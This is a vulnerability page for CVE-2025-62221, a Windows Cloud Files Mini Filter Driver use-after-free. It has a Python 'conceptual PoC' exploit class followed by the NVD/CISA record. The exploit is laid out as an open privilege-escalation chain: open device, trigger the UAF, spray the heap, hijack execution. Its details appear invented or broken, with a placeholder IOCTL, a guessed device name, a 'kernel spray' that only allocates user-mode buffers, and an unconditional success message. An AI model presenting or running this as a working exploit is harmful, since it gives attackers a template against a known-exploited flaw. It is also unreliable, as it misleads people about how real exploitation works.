CVE-2025-62221

# CVE-2025-62221 PoC - Windows Cloud Files Mini Filter Driver UAF # This is a conceptual PoC demonstrating the attack pattern import struct import ctypes from ctypes import wintypes # Windows API constants FILE_DEVICE_FILE_SYSTEM = 0x00000009 METHOD_NEITHER = 3 FILE_ANY_ACCESS = 0 def CTL_CODE(device_type, func, method, access): return (device_type << 16) | (access << 14) | (func << 2) | method # IOCTL codes for CloudFiles Mini Filter IOCTL_CLOUDFILTER_TRIGGER_UAF = CTL_CODE( FILE_DEVICE_FILE_SYSTEM, 0x800 + 0x100, # Example function code METHOD_NEITHER, FILE_ANY_ACCESS ) class CloudFilterUAFExploit: def __init__(self): self.kernel32 = ctypes.windll.kernel32 self.device_handle = None def open_device(self): """Open Cloud Files Mini Filter driver handle""" device_name = r"\\.\CloudFilesFilter" self.device_handle = self.kernel32.CreateFileA( device_name.encode(), 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # no sharing None, 3, # OPEN_EXISTING 0x80, # FILE_ATTRIBUTE_NORMAL None ) return self.device_handle != -1 def trigger_uaf(self): """Trigger the use-after-free condition""" if not self.device_handle: return False # Craft malicious input to trigger object release input_buffer = b'A' * 0x1000 # Malicious payload output_buffer = ctypes.create_string_buffer(0x1000) bytes_returned = wintypes.DWORD() # Trigger IOCTL that causes object release result = self.kernel32.DeviceIoControl( self.device_handle, IOCTL_CLOUDFILTER_TRIGGER_UAF, input_buffer, len(input_buffer), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) return result != 0 def spray_heap(self): """Spray kernel heap to control freed memory""" # Allocate many objects to control memory layout spray_buffers = [] for _ in range(100): buf = ctypes.create_string_buffer(0x1000) # Fill with shellcode/ROP gadgets address spray_buffers.append(buf) return spray_buffers def exploit(self): """Execute the full exploit chain""" print("[*] Opening CloudFiles Filter device...") if not self.open_device(): print("[-] Failed to open device") return False print("[*] Triggering Use-After-Free condition...") self.trigger_uaf() print("[*] Spraying kernel heap...") self.spray_heap() print("[*] Triggering dereference to hijack execution...") # Trigger second IOCTL to dereference dangling pointer self.trigger_uaf() print("[+] Exploit completed") return True if __name__ == "__main__": exploit = CloudFilterUAFExploit() exploit.exploit()

{"cve": {"id": "CVE-2025-62221", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:56.517", "lastModified": "2025-12-10T13:48:09.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-12-09", "cisaActionDue": "2025-12-30", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Windows Use After Free Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62221", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62221", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}